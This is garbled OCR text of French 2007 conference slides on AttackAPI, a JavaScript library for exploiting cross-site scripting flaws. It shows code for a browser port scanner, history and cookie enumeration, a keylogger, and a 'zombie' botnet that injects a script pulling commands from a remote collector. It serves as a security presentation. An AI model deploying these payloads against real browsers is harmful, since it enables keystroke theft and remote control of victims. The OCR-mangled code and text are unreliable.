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™) LeXSSau jour lejour

" Lesvulnérabilité de type Cross-Site-
Scripting, c'est sympathique.
- Cameérite d'ére examiné soignheusement.

" On peut théoriquement faire des choses tres
|ntéressantes.

" Lesoutils appropriées permettent de passer a

la pratique. x
1\

—
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'C ) Testset exploitation des XSS

" | " S onveut systématiser certaines opérations

d'exploitation...

ATTACKAPI

attack construction library
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http://www.gnucitizen/projects/attackapi

) AttackAPI, XSS made easier

" Deux versions: 0.8 (mi-2006) et 2.0 (2007)

" Version 0.8 : fonctionnalités limitées, assez
stable

" Version 2.0 : fonctionnalités nouvelles,
guel ques problemes de stabilité et bugs.

" Projet encore en phase de gestation.

" Qui permet dgja de faire des choses tres
Intéressantes
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' Les principaux modules

" Analyse et enumération du navigateur.
Portscanner
Keylogger
Zombification et controle de zombies
Quelques fonctions plus anecdotiques.

ATTACKAPI

attack construction library

NAVIGATION

Client Server Keylog Google Basetd Request Portscan RShell 155hell CMDShell Zombie Master Home
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C ) Fonctions ponctuelles

;:-.".?l“-
f ot

" Google: utilisel’ APl Ajax de Google pour
Interroger le moteur de recherche.

- Server : « enumeration » du serveur sur
lequel on fait le XSS (nom et adresse | P).

" Baseb4 . codage et décodage en Base64

" Request : routines d’ envol de requétes vers
un serveur, selon plusieurs « formats »
(XMLHttpReguest, Form, Java.net.URL,
IMG.src, script, Iframe)
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C ) « Enumération » du client

* Certaines fonctions sont ciblées Firefox
(recherche d'extensions)

D'autres sont plus genériques (examen de
'historique, adresse | P client, nom...)

Une fonction de blocage (freeze(délai))
Plus quel ques bricoles.

_’obtention de |’ P et du nom du client
reposent sur Java (java.net.Socket)
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plugins

Java (TH)
Java (TH)
Java (TH)
Java (TH)
Java (TH)
Java (TH)
Java (TH)

numeration

kensions

localname

fill

Flash Block:
Adblock Plus:

Flatform
Flatform
Flatform
Flatform
Flatform
Flatform
Flatform

Lrue
false
Aduto Copy: Lfalse

Mozilla Default Plug-in
Shockwave Flash

3E
3E
3E
3E
3E
3E
3E

Windowz Media Plaver
Hicrozoft® DEM

| *

6 Tl
6 Tl
6 Tl
6 Tl
6 Tl
6 Tl
6 Tl
Plug-in Dynamic Link Library

ColorZilla: false

localip Customize Google: false
DownThemwill'!': falzse
FlashGot: false
Forecastfox: fal=e

cliphoard

— merci de me confirmer 1'sbsence de
chipzet wifi sur ladite carte

) history
mere.

http
http
http
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zoogle Toolbar:
creasemonkey: false

fal=e

S Swww, google . com: false
S fmail.google.com: false
S www, yahoo . com: false
S Swuw . man . com: false

1/ / localhost:

fal=se
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C ) Enumération des extensions

" Specifique a Firefox.

" Utilise des « signatures » : desfichiers
(Images) caractéristigues de |’ extension
(chrome://flashbl ock/skin/flash-on-24.png)

" Pour chague extension...

— Création d’ une image (new Image) et
chargement de la signature (image.src = ....).

— S le chargement réussit, |’ extension et
présente.
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Portscanner

" Fonctionne sur laméme idée que
|’ énumération des extensions.

var _ check_port = function {(target, portl) %
var img = new Imaged )
img.onload = img.onerror = function ) %
it Climgly return;
img = undefined;
callbackitarget, port, truel;
5
img.src = ‘http: /" + target + "' + port;

wWwindow ., setTimeout{function {3 %
it CHimgy return;
img = undefined:
callback{target, port, false);
3, otimeoutl;

5l

for (index = O; index < ports.length; index++)
_ check_port{target, portslindex]l;
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PortScanner

PORT SCAMMIMG

A port scanner 15 a piece of software designed to search

target

www ,ba-consultants.fr

ports
B, 21 . EHaH, 28EE

timeout

DHEEH

| ] El

wwiw . ba-consultants. fr:81 true
wwiw.ba-consultants. fr:80 true
W . ba-consultants. fr:B0B0 true
wwiw . ba-consultants. fr: 8888 false

Attention avec les
proxies : faux positifs
et faux néegatifs
produits par la
configuration du
relais.
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" Plus exactement détermination si une
certaine URL a étévisitée.

" Création d un IFRAME caché avec une
feuille de style spécifique pour lesliens.

" <style>a:visited{ display:none} </style>
" Remplissage de |’ |FRAME par lesURLS
gui nous intéressent (A HREF=).

" Et Interrogation du style rendu par le
navigateur.

B&A Consultants - infos@ba-consultants.fr - +33 (0) 567.040.403 ReSIST - 23/04/2007 12


mailto:-infos@ba-consultants.fr

Enumeération des cookies

Rien que du tres classique, analyse de
document.cookie.

Ne s applique evidemement qu’ aux cookies
du domaine « dans » lequel on s exécute.

Attention, bugs a corriger dans |le code pour
gue ¢ca marche bien.

utma:  utmsa=15951328.712488031.1177055800.1177055800.11771558466. 2

© utmz: _ utmz=19951328.1177055800.1.1.utmecn
_ utmb: _ utmb=19951328
__utme:  utmce=13951328
_ utma: _ utma=19951328.712488031.1177055800.1177055800. 1177158466, 2
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_afonction classique, revue et corrigée
oour le Web.

DéEfinition d'une routine a appel er pour
chaque caractere tape (callback).

" Définition de lafenétre (au sens du
navigateur) pour laguelle asurveiller.

" Lacopie d écran suivante est un couplage
zombification (V0.8) + envol keylogger au
zombie
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Keylogger aaméliorer

- Pertes de caractéres

1 " Difficultés avec les al phabets non-ASCI|

(accents, touches composees, €tc.)

Zombie o

8080 dit :

Selected channel
TOUT CE QUE JE TAPE EST INTERCEPTE
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Ou comment créer un botnet (peu performant) a
partir d'un XSS et JavaScript

Trois étapes::
— Créer un collecteur (channel)

— Infecter les clients
— Lancer le contrbleur

Clients et controleur se connectent au collecteur
L e controleur permet de choisir un client
Et de lui envoyer des commandes
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" Point de contact entre zombies et maitres
" Fourni avec AttackAPI (inf/channel.php)

=~ Script PHP, qui peut sexecuter sur
~  nimporte quel serveur (PHP 4 ou 5).

" On peut utiliser TOR pour connecter le
controleur au collecteur.

" Echanges reguliers clients/collecteur, et
controleur/collecteur (déefaut : 2 secondes)
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) Controleur et Collecteur

~ Activation d'une URL sur le collecteur
var reguest = new Image();
request.src = channel .location +
?action=pushé&client=" + escape(client) +
‘& message=' + escape(message);
e message (code JavaScript) est stocké dansle
fichier de session (PHP) associé au client :
client_queuela: 1.
{s1." ";al.
{1:0;s:17:"dert(\'bang\');";} }
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€ ) Zombie et Collecteur

Création d'un é ément de type script

var script = document.createkElement('script');

script.type = 'text/javascript’;

Récupération du script sur le collecteur

script.src = channd.location +
?action=pull & callback=

ZombieAPI.Channd .channels.channd’ +

channel.index + ".callbacks.pull’;

Ajout ala page courante
document.body.appendChild(script);
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Inspection DOM (client)

| | nodeflame | 10callame | id
il (=] #idocument:
: HTHL Mode Hame: SCRIPT
=HHTIL Hamespace URI:
HEAD
. BODY Mode Tupe: 1
H1 Mode Yalue:
L nodelame | nodelalue
DIV type text/ javascript
FORIM sre httpis /s “w1/1nfifchannel .phptaction=pull
SCRIPT
SCRIPT SCRIPT
SCRIPT SCRIPT
SCRIPT SCRIPT
F tooter
SCRIPT
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C J Zombie et Collecteur

" Sans oublier le nettoyage
script.onload = function () {

};

script.onerror = function () {

document.body.removeChild(script);

document.body.removeChild(script);

};
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Résultat : invisible dans le DOM
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ZombieM aster en action

[ ] CALOSRA | | ZombieHaster

£

ZOMBIEMASTER

eper PortScanner Metwor

Selected channel: http: fvlfinf/channel .

cl iEer'lt:E:

e1dfc79e0bd 24054 71 BbatA52d1 -FEI-'-L:I

alert( 'chabadam badam®);
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Coté client

Microzoft Internet Explorer

! E chabadam badam
L]

Ok | GHUCITIZEN @ 2006 all rights reserved

melected channel : g:ol8l-zss-v1-1nf-channel .php.
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C ) Engrandeur nature. ..

" Trouver unefallle XSS sur un site

Y amener lafuture victime (mail, page Web
appropriee, etc.)
En injectant e bon code dans lafallle.
Exemple:

<script src=http://.../ZombieAPI .js></script>
<script>ZombieAPl.Zombie.infect(URL du
controleur,5000);</script>
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Et le client s exécute

Tamper Data — Ongoing requests

%h Start Tamper Clear

: Filter
Time Method URL
174+18:08,279 POST c1atiom.php
17118458, 4352 GET Ue. ]S
17315108.096 GET LE.C5S
17118:08.634 GET 150N+ CS5
17+18:08, 603 GET zs5/v1/standalone/Zomb1edPl. 15
17119:83, 664 GET xzz/v1/1inf/channel.phpfact 1on=pull
17+19:03, 6609 GET xss/v1/1inf/channel .php?act 1on=pull
17+19:13.671 GET zss/v1/1inf/channel.phpfact1on=pull
17119:18.672 GET xzz/v1/1inf/channel.phpfact 1on=pull
174+19: 23,676 GET xss/v1/1inf/channel .php?act 1on=pull
17419: 28,682 GET zss/v1/1inf/channel.phpfact1on=pull
Fequest Header Mame Fequest Header Walue Fesponse Header [
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Que faire avec tout ca ?

" Ecrire du code, qui peut utiliser AttackAPI.

L function chargefurl, silencel £
var script = document.createElement( script'
script.tvpe = 'text/javascript'.

script.sre = url 7 url 1 htto | < 2 < te 3
document. body . appendChild(scripT);
script.onload = function {2 %

if ¢ silencel alert{url 7 url : 'Chargeesesz’'l;
document. body . removeChild{scriptl;

5

script.onerror = function £ f
: document. body. removeChildiscriptl;
3

E;

chargel "htt s/ve/Tib/attackaAPI fattackaPI . js' 2
charge! 'htt s/v2/ibsattackaPI keyvlog. is' 1
charge! 'htt s/basklz . ds'

" Note : AttackAPI contient une fonction
load() similaire.
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Lefichier kl2.]s

" Active le keylogger (et affiche un popup des
données interceptées sur RC)

an.php ¥ [}I "_
Annuaire [ LT PRl http_sauﬁ: @W
. QuOT QuI SE PASSE
Recher i-, e
0 repd

14
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" Blog de Gnucitizen :
http://www.gnucitizen.org/categories/blog

- Jkto (Billy Hoffman, Spi Dynamics)
Décrit dans " Javascript Malware"

http://www.spidynamics.com/spilabs/educat
lon/presentations/Javascript_malware.pdf

" CAL9000 Project
http://www.owasp.org/index.php/Category:
OWASP CAL9000 Project
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